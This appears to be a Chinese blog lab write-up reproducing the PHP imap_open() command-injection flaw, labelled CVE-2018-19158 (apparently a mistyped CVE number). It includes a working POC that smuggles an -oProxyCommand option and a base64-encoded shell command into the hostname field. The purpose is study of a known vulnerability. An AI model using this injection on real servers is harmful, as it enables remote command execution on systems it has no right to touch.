Fork me on GitHub

php imap(CVE-2018-19158)

参考文献:https://www.anquanke.com/post/id/167292

安装imap模块

环境:ubuntu16.04,php5.6.38

1
apt-get install php-imap


imap_open()语法

1
imap_open(string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]])
  • mailbox参数的值由服务器名服务器上的mailbox文件路径所组成,INBOX代表的是当前用户的个人邮箱

    1
    $mbox = imap_open ("{localhost:993/PROTOCOL/FLAG}INBOX", "user_id", "password");
  • 在括号内的字符串中,有服务器名称(或者IP地址)端口号以及协议名称标志。用户可以在协议名后设置(第3个参数)。
    php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
    因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,通过注入这个参数,最终将导致命令执行漏洞。

复现CVE-2018-19158

1
/vulhub/php/CVE-2018-19158# docker-compose up -d
  • POC
    1
    hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=11&password=11

-oProxyCommand参数
SSH命令中可以使用-o参数来设置连接期间可用的各种选项。在建立SSH连接之前,可以设置ProxyCommand参数:

1
ssh -oProxyCommand="touch tmp.txt" localhost

当我们执行这条命令时,可以发现即便我们没有建立与localhost的SSH连接,也会创建tmp.txt文件。

-------------本文结束感谢您的阅读-------------